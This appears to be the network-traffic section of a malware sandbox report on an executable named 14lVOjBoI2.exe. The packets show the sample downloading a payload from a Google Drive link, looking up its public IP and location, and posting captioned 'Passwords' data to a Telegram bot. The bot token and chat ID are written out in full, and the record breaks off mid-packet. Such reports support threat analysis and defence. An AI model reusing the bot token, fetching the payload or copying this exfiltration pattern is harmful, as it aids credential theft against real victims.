Jan 11, 2025 07:20:41.940922976 CET	273	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:41 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49709	142.250.185.142	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:01 UTC	216	OUT	GET /uc?export=download&id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2025-01-11 06:20:01 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Sat, 11 Jan 2025 06:20:01 GMT Location: https://drive.usercontent.google.com/download?id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'nonce-mUveWWPSSB4_gAjPenGrZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49710	216.58.206.65	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:02 UTC	258	OUT	GET /download?id=1H9-NX9FTfhx7ES6nhfZpdxVzAkPSYSRn&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2025-01-11 06:20:04 UTC	4945	IN	HTTP/1.1 200 OK X-GUploader-UploadID: AFIdbgTm1LDtkB_CGcLXLlTs5xUPXsNB0TEzM_DBUOMfF2aiCwYs09jAvM45ZY82tV3pgJHKF05riPI Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="fCOgTxJRNemdJIGP86.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 94272 Last-Modified: Sun, 15 Dec 2024 11:07:30 GMT Date: Sat, 11 Jan 2025 06:20:04 GMT Expires: Sat, 11 Jan 2025 06:20:04 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=ZqRaQA== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-01-11 06:20:04 UTC	4945	IN	Data Raw: 4e f5 be 78 dd 6e cf 88 08 00 c7 25 43 2c 44 59 c4 05 f2 c8 57 47 3b 36 32 bb cc 79 5a 48 89 fa a8 cf ed 55 fb 23 27 c8 33 2a 42 dc e5 f8 1b 0d 45 15 89 29 e6 43 07 cf 1e 2a cc 40 3d 48 bd 07 f7 97 fe 6e 45 27 f7 94 68 60 2f da b4 94 60 cd 88 63 18 cc b4 fb 0f 31 4f 2c fd 99 5d ce b2 1d 8f ac 65 54 a8 6b 31 f3 4c 1c 49 05 d5 b1 fd 99 42 aa a9 74 f1 c4 70 c1 c3 90 b3 9b c4 5b b8 97 ed 76 4b 8f a4 e8 c9 cb 38 e9 63 67 00 79 95 44 e2 01 c7 ea 37 b1 50 0f 14 37 95 3c 7b d5 09 ea a1 f0 1d 98 20 8c 29 8a 7c 4d 9a 30 81 5f 66 95 ac 23 df 19 74 67 78 3a 26 ac 43 a0 2b 43 30 d3 95 f9 f2 72 55 70 b8 9a 86 f8 65 86 2b 05 ce 24 45 8b f3 2b 57 32 66 a2 5d 42 d6 bd a6 bd 0f 45 e9 3a c1 66 48 50 63 43 67 c8 c9 2d 41 0b 5b e3 ae 83 a8 23 7d 1d f2 81 fe a9 74 2e 0f 3f 9e Data Ascii: Nxn%C,DYWG;62yZHU#'3BE)C@=HnE'h`/`c1O,]eTk1LIBtp[vK8cgyD7P7<{ )\|M0_f#tgx:&C+C0rUpe+$E+W2f]BE:fHPcCg-A[#}t.?
2025-01-11 06:20:04 UTC	4803	IN	Data Raw: d6 21 75 fb 33 da d5 1a bb 6d 85 dc bf 09 fd 00 f4 5c 9a 4e 24 f4 14 ed 9b 35 b5 cb 4c 65 70 5a 63 59 37 0b c3 42 a0 2b 49 30 0f 1b af d7 5a 2a 71 bb 90 22 c6 10 1f 79 05 ce 2e 98 9c f1 2b b7 32 64 a3 28 5b 86 bd a2 a9 58 4e e9 42 d7 4e c9 50 63 49 af b3 c9 3e 44 3a 5e da b5 22 a9 23 7d 6e 3e 81 fe 83 67 28 1e 3b e0 b0 c1 31 fb c4 16 fd 46 0c 2d e5 6e 7a d3 e7 4e 15 75 c5 4b 6d a6 88 65 6f 36 27 8a 2f 86 ec 1e f2 62 fc fd 72 a5 df e5 b1 8a ca 89 58 1f 4f ac 6e b6 94 66 ad ed 1b 55 34 8d 12 18 9a f8 51 17 ba 32 b8 b9 7a 8e 6a 41 09 7a 90 81 da e7 3c e0 4d c3 d7 89 4a 8c fb 29 a0 91 44 a8 4b 87 91 1c 09 69 75 23 7c bc f6 cc 3b da 89 6e 46 10 ce 45 b2 87 d0 77 72 23 23 f0 bf 42 4d 0d 5f c3 35 f5 ae 53 f4 7a e3 cf 76 5e 5b 55 a8 03 f9 91 62 01 a4 5d de 18 1d Data Ascii: !u3m\N$5LepZcY7B+I0Z*q"y.+2d([XNBNPcI>D:^"#}n>g(;1F-nzNuKmeo6'/brXOnfU4Q2zjAz<MJ)DKiu#\|;nFEwr##BM_5Szv^[Ub]
2025-01-11 06:20:04 UTC	1328	IN	Data Raw: 36 f2 65 80 5b b9 02 b6 00 fe 58 e6 5e 5f bf 10 c5 14 1d 64 c1 4c b1 01 10 6a 75 34 07 ba 41 db 61 43 30 d7 c7 c7 b9 72 19 75 93 48 31 c2 1a 37 29 00 40 4d 38 c6 f3 2b b3 30 66 d8 1b 43 86 b9 8e 0a 0e 45 e3 4f 8d 66 48 54 63 43 93 4d c8 2d 52 1b 59 e3 34 23 a9 23 59 1d b2 90 fe 8b 0f 68 0f 3d 9a d0 92 31 ff bd b3 a9 46 06 48 61 68 69 dd f6 5b 3f 17 48 30 2b ac f6 40 47 e5 23 e5 b5 86 ec 14 f0 08 b0 d5 e3 a1 a1 bc c3 fa cb a1 7c 37 79 a6 65 b7 e8 5e bc e8 3d 70 71 f6 58 12 f5 6e 79 c4 b0 32 a3 bf 08 8a 6f 3a 31 04 8d 85 a4 b0 4e 72 4c eb f3 a1 0d 86 f7 2b dc 04 55 ae 6d 8a ed 75 41 69 71 54 c0 6f f6 c6 22 dd 98 68 2b fe 82 45 b8 92 a9 4b e4 23 29 d2 eb 3c 6d 07 52 ce 55 65 bf 54 d2 64 e9 ca 21 5e 5b 55 f2 4c f2 91 18 17 8c dc f4 18 17 0a 2e ac 67 86 50 40 Data Ascii: 6e[X^_dLju4AaC0ruH17)@M8+0fCEOfHTcCM-RY4##Yh=1FHahi[?H0+@G#\|7ye^=pqXny2o:1NrL+UmuAiqTo"h+EK#)<mRUeTd!^[UL.gP@
2025-01-11 06:20:04 UTC	1390	IN	Data Raw: f8 14 82 d1 df c2 ea ca 17 ef c3 fc 63 ac 30 45 55 b9 6e c0 59 7e b4 e4 7e b9 73 8d 14 b0 d0 70 23 51 a5 32 d9 1d 2d 91 64 2e bf 04 8d 87 78 c6 52 00 26 d6 a7 d1 af a4 5b 23 cf 08 57 ac 3f 88 ef 0e 0d 78 75 78 a6 bc f6 cc a8 d2 98 68 2d 85 dc 47 90 4b d7 18 ee 30 26 eb ba 11 fc d3 50 d5 44 9c b8 5f fe 69 f0 de 6c 5e 5b 5b da 43 f2 ba 10 17 8c f6 df 08 17 11 1c a6 7a ac 2b d7 74 db 47 39 9b 33 51 3f b4 4a 59 6c c5 82 a7 82 46 ef 90 12 d3 e4 94 1c 53 91 4d f8 80 79 3a ed a2 61 96 45 a1 1c 57 76 cc bf 60 60 76 89 38 a4 53 9c 81 49 5f 33 35 f9 74 c5 4f cc a9 45 f0 da 87 59 39 c6 c6 ad 79 fd 3b 6e b1 ef 3e c0 9b 33 4a 6b 91 17 5e 25 be 7b 62 a9 b5 fe 59 3b b1 3b ff 50 d0 99 b7 68 a2 8f 10 6a 4a a9 6b ec 1b eb a8 24 36 f6 0f 07 2e 48 36 41 ab 0c 9a 96 c6 a5 3f Data Ascii: c0EUnY~~sp#Q2-d.xR&[#W?xuxh-GK0&PD_il^[[Cz+tG93Q?JYlFSMy:aEWv``v8SI_35tOEY9y;n>3Jk^%{bY;;PhjJk$6.H6A?
2025-01-11 06:20:04 UTC	1390	IN	Data Raw: 4d 15 31 4b 3c 73 ee 36 5d b4 9c d8 29 99 39 38 40 8b 06 23 d0 72 75 73 ad 64 35 4e 45 65 28 f0 4b ac 65 af 1a 82 fa cf 1a 25 48 c9 c9 09 82 a0 4b d9 fc 7d e9 2a 58 57 20 06 58 80 9c 14 a8 68 bd ed 37 40 b0 6f 84 bd 2d 5f ce f9 2d b2 d4 31 8f 7e 6e 51 40 5a 8e 5f 0b 3a 51 32 f5 d8 d4 3e 48 ab 24 af 9b b0 72 a4 c2 fc 25 6e 0a 42 61 be d4 24 10 d0 f1 38 af 31 68 84 b1 c1 d2 55 0f 2a 23 d5 7a e5 4d d7 c6 43 e3 71 ad 45 06 0b 44 68 cb b2 6f 6c e1 b5 5c 45 f6 4a 37 44 d3 b7 52 d8 6e 9c 5b 5b f4 9f 0b d6 cc f8 84 89 4b b2 3f 11 15 1f 73 8e d7 7c b7 79 c6 55 dd d3 a3 cd 17 c5 a5 d8 9e 3e f5 9a da da 98 ce 1f 39 42 4f ec 49 2b e2 af 54 88 31 e5 98 76 56 87 13 26 b1 fa c0 0f b0 f1 b0 61 5c 03 7a 3d b9 bd f7 b2 c3 7d 97 38 c8 ed e8 29 98 8d 07 94 54 2b b0 ff bc cf Data Ascii: M1K<s6])98@#rusd5NEe(Ke%HK}XW Xh7@o-_-1~nQ@Z_:Q2>H$r%nBa$81hU#zMCqEDhol\EJ7DRn[[K?s\|yU>9BOI+T1vV&a\z=}8)T+
2025-01-11 06:20:04 UTC	1390	IN	Data Raw: c2 40 48 8a 04 27 9f db 2e b2 e0 1e 39 5b 78 fd 53 12 ff be 52 81 ce e4 8a 77 47 91 31 38 a0 ff d1 16 53 11 6f 61 2c 21 27 22 a8 a9 ee bb 66 e1 97 38 c3 c9 a1 01 60 87 14 88 30 37 b4 f2 c5 cf 99 57 7e 85 36 58 c7 c1 8f b1 ef 8b 71 1b 29 23 25 10 2e fe b6 4d a8 ef e7 98 a4 03 45 f1 54 c4 11 e6 34 03 5b bf 87 89 20 da 99 35 f9 78 49 d2 db c0 89 62 21 08 18 3d f5 ef 70 a1 cc c0 12 7e 62 7d 65 6e 6f 24 6f a5 02 ad 94 20 5a cc f5 59 0a 1f e8 13 4c a6 cc 7f e9 db 43 29 47 4e 24 0a f7 f7 16 cf cf 4a d6 3b fa f8 43 18 49 67 53 f4 36 4d 69 03 9d 21 10 0b 87 e6 15 67 09 02 34 c2 b0 63 77 ca ff 83 12 3a 76 24 50 df e6 bf 27 6e 0e de fa 7c 6f 5c 47 99 13 1b 9b 73 a2 c3 c1 03 9b 13 75 dd 4b d6 fe 6d 8f 28 d3 88 e3 41 17 57 bf 6b 7c e6 47 8d c1 41 f6 be 72 2f 07 48 94 Data Ascii: @H'.9[xSRwG18Soa,!'"f8`07W~6Xq)#%.MET4[ 5xIb!=p~b}eno$o ZYLC)GN$J;CIgS6Mi!g4cw:v$P'n\|o\GsuKm(AWk\|GAr/H
2025-01-11 06:20:04 UTC	1390	IN	Data Raw: cf 9d c3 a9 dd ee cf 67 2b 77 3f 61 f7 eb d2 2e 1b 1f ed fa 7d 11 5d 58 85 31 c3 47 7b 26 d8 fa c4 8c b9 4a 45 c6 8f f4 67 8e 3d fc 78 f8 50 1a 4a b0 dc 53 fc 9d a5 a1 32 21 b4 72 29 1a 47 f2 88 33 e0 83 e5 32 c1 c5 42 75 f5 09 2a 7e 1d 48 5b 40 c9 e9 a7 d2 bd 17 00 ae 4e 43 28 a0 5b 96 dd 7d 60 80 1b 36 8f 07 d1 02 5c 43 63 99 ca a1 95 05 93 6d ae fe f4 43 33 9b 5b 10 69 34 07 92 7c 76 3d 61 72 d4 39 7d 7b 30 9d 58 45 a3 9e 04 10 67 eb d3 21 b1 8c 09 16 1c cc 1a 93 a4 a4 ea 1b d2 82 6e 13 58 5b 15 02 e6 fc 63 21 cd 63 d5 b2 54 b4 fd b0 e8 b6 f9 b7 33 dd 9c be ce 20 5f d5 13 2c 12 85 38 97 9a 2a 67 d9 47 29 3f 3a 41 20 6d 6d 89 9a 3b aa 74 d9 85 14 0b 0a cc f7 91 7e ab 87 fb 28 3e db 01 22 92 63 66 5e 07 3a e2 2d 54 4c 13 cb 86 db 73 b1 83 e1 87 7d b7 00 Data Ascii: g+w?a.}]X1G{&JEg=xPJS2!r)G32Bu~H[@NC([}`6\CcmC3[i4\|v=ar9}{0XEg!nX[c!cT3 _,8gG)?:A mm;t~(>"cf^:-TLs}
2025-01-11 06:20:04 UTC	1390	IN	Data Raw: 20 d5 13 20 10 85 46 cd b2 b9 6d c8 48 12 a2 2b 49 0a 3d 6e a1 99 3a 81 5e b6 a9 bf 0b 00 a9 fa 81 79 d3 33 73 28 4e b2 c7 2b 83 6c 1d ff 06 29 e2 14 e2 5a ed cc 86 d5 62 ab ab 85 4d d2 b7 70 60 ef 79 6b fd bf e3 a9 01 3b 59 df 3d b7 a3 1f d8 ac f2 de 18 24 b7 0f 99 ad f7 ff 56 ab ef 39 c4 9e 21 d3 05 14 b0 92 10 49 1c 4d 2c 90 fd 96 32 7d c3 2e c8 83 64 cc a2 e8 ac ef ec 20 72 14 de f9 c8 74 b4 e4 35 f4 bb f6 3c c1 65 7e e3 57 26 c5 77 61 2f 6a c8 75 25 3d 55 d8 06 43 b9 de 4d 36 3f 51 44 14 71 a5 5c 6f ae dc 5a 55 e2 2c 89 d8 b2 f8 da c7 c4 ad 15 28 c6 dc 9f 23 bc ff a9 ca b3 1b 79 11 21 fb 3e b5 f7 85 28 d4 bb 1f f2 b9 20 00 6d fd a9 c0 10 61 46 27 f3 85 61 48 61 da 4b 61 e0 c2 30 63 1c cc b4 ea 08 26 d9 3f fa 88 5a df b4 23 6f 52 9a ab a8 6b ef e3 69 Data Ascii: FmH+I=n:^y3s(N+l)ZbMp`yk;Y=$V9!IM,2}.d rt5<e~W&wa/ju%=UCM6?QDq\oZU,(#y!>( maF'aHaKa0c&?Z#oRki
2025-01-11 06:20:04 UTC	1390	IN	Data Raw: 91 3d ca c3 b3 4a f4 33 ef 99 e2 09 f2 06 84 ad 47 d1 91 80 0a 7b 09 b9 92 7d 62 57 2b db d9 71 ed 10 da 4b 6a 45 db 42 85 0c cc c4 59 2a 26 06 8e d8 81 2f e2 a7 1d ff 0e 40 4d b9 6f 93 d6 56 6e 0f 10 d5 c1 5f bc 59 bb ac d6 d4 d8 02 0a e1 90 c3 39 6c fb b8 97 e9 7a fc ff ab 5c c0 02 08 5c 4a 65 cd 58 cb ac 84 72 e7 9e 45 de 26 7a 62 8c a6 58 0b bc 76 83 eb 30 81 02 ff fe 5c 3a 4c 01 dc 23 c5 10 3f a6 cf 4c 93 2e 5a 6a 7f ee 02 ac 69 e1 37 43 30 d3 c5 bc f2 61 19 71 bb cd 30 c2 10 5d 2a 05 ce 34 45 8b f3 6f b7 32 65 b8 66 47 86 c1 a7 db 0e 76 e9 32 d0 66 57 4c 4b 9b b9 4d c2 5f 72 08 5b 93 86 6d a9 23 77 17 b2 87 d6 71 74 2e 05 36 99 97 87 30 ff b7 9d 8e 91 06 42 6d 62 72 ab bd 43 13 6a 25 99 6d ac f0 62 67 59 f0 e5 bf 80 fb ce e1 75 ec c6 e4 9d c8 ee c3 Data Ascii: =J3G{}bW+qKjEBY&/@MoVn_Y9lz\\JeXrE&zbXv0\:L#?L.Zji7C0aq0]4Eo2efGv2fWLKM_r[m#wqt.60BmbrCj%mbgYu
2025-01-11 06:20:04 UTC	1390	IN	Data Raw: 8a 4d c8 27 52 25 5b cb fc 23 a9 29 a3 1d b2 ab bf 95 74 2e 0f 3d 9e ae d2 31 ff b7 cc fc 46 06 28 6a 6e 7a c9 e7 5f 13 5e 4a 4b 6c b7 c6 40 6f 4a 22 e5 bf b5 ec 14 e3 73 e5 c9 cb 7d df ef c9 88 58 ac 28 47 51 e2 6e b0 f1 51 ad eb 39 85 73 8d 18 19 f2 53 17 16 b0 32 af cc df 8a 6d 47 75 0c ff db c6 e3 3e 1d 94 c3 a7 a7 2b 84 94 f0 cf 02 42 bf 9b 94 e9 18 1a 6e 49 47 e9 bc f6 ce 39 da ea 00 35 85 be 2a 6d 96 d7 1e e9 2b 32 fd cd 42 71 0d 2f a8 93 62 ae 55 ed 6d e3 a0 6a 2c c7 4d da ef 9d 44 12 17 8a cf db 09 12 39 8d a6 67 aa 42 48 65 dc 6b 7a 9d 1b 49 0e be 40 7c 6b c4 82 81 ed 43 ff 90 6b 22 70 94 16 5e 98 c9 d6 89 6d c5 c9 a7 19 4d 5a b7 92 f4 40 d0 dc 8d 59 60 d1 30 81 4b e4 92 5a 30 1c 97 dc 67 a6 58 f2 3c 35 52 d0 80 4f 3d dc 4b 17 59 fd 12 e1 a7 91 Data Ascii: M'R%[#)t.=1F(jnz_^JKl@oJ"s}X(GQnQ9sS2mGu>+BnIG95*m+2Bq/bUmj,MD9gBHekzI@\|kCk"p^mMZ@Y`0KZ0gX<5RO=KY

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49712	104.21.32.1	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:16 UTC	85	OUT	GET /xml/8.46.123.189 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2025-01-11 06:20:16 UTC	861	IN	HTTP/1.1 200 OK Date: Sat, 11 Jan 2025 06:20:16 GMT Content-Type: text/xml Content-Length: 362 Connection: close Age: 1891205 Cache-Control: max-age=31536000 cf-cache-status: HIT last-modified: Fri, 20 Dec 2024 09:00:10 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eJs2Pspgov9nACFGjTZ92LazTnEuRO7171DPDkr9Qc0z46yddJ341aD1hqJn3X%2BO%2F0SQMyrBWR8AY%2FhUKPRDnTZA10YiCiy70%2Bg7%2Fkzi26it1NXUFwD2B7eg2psAojUVp%2Be42Jq2"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9002cccaace672b9-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1782&min_rtt=1776&rtt_var=670&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2849&recv_bytes=699&delivery_rate=1644144&cwnd=217&unsent_bytes=0&cid=e3a6877e200593a4&ts=157&x=0"
2025-01-11 06:20:16 UTC	362	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f Data Ascii: <Response><IP>8.46.123.189</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49713	149.154.167.220	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:28 UTC	294	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd31de218acfdc Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:20:28 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 64 65 32 31 38 61 63 66 64 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31de218acfdcContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-11 06:20:28 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Sat, 11 Jan 2025 06:20:28 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-11 06:20:28 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 35 39 34 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 39 35 30 34 33 35 34 38 33 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 76 61 6e 64 72 6f 78 78 5f 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 38 39 37 35 38 35 39 31 36 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 52 65 78 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 52 65 78 41 62 65 6c 31 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 37 36 34 32 38 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":5948,"from":{"id":7950435483,"is_bot":true,"first_name":"vandroxx","username":"vandroxx_bot"},"chat":{"id":6897585916,"first_name":"Rex","username":"RexAbel1","type":"private"},"date":1736576428,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49715	149.154.167.220	443	8088	C:\Users\user\Desktop\14lVOjBoI2.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-11 06:20:32 UTC	294	OUT	POST /bot7950435483:AAFkeNvnoegSYKyL7niKKZ3tPB62z3LQcco/sendDocument?chat_id=6897585916&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32068823f644 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-11 06:20:32 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 30 36 38 38 32 33 66 36 34 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 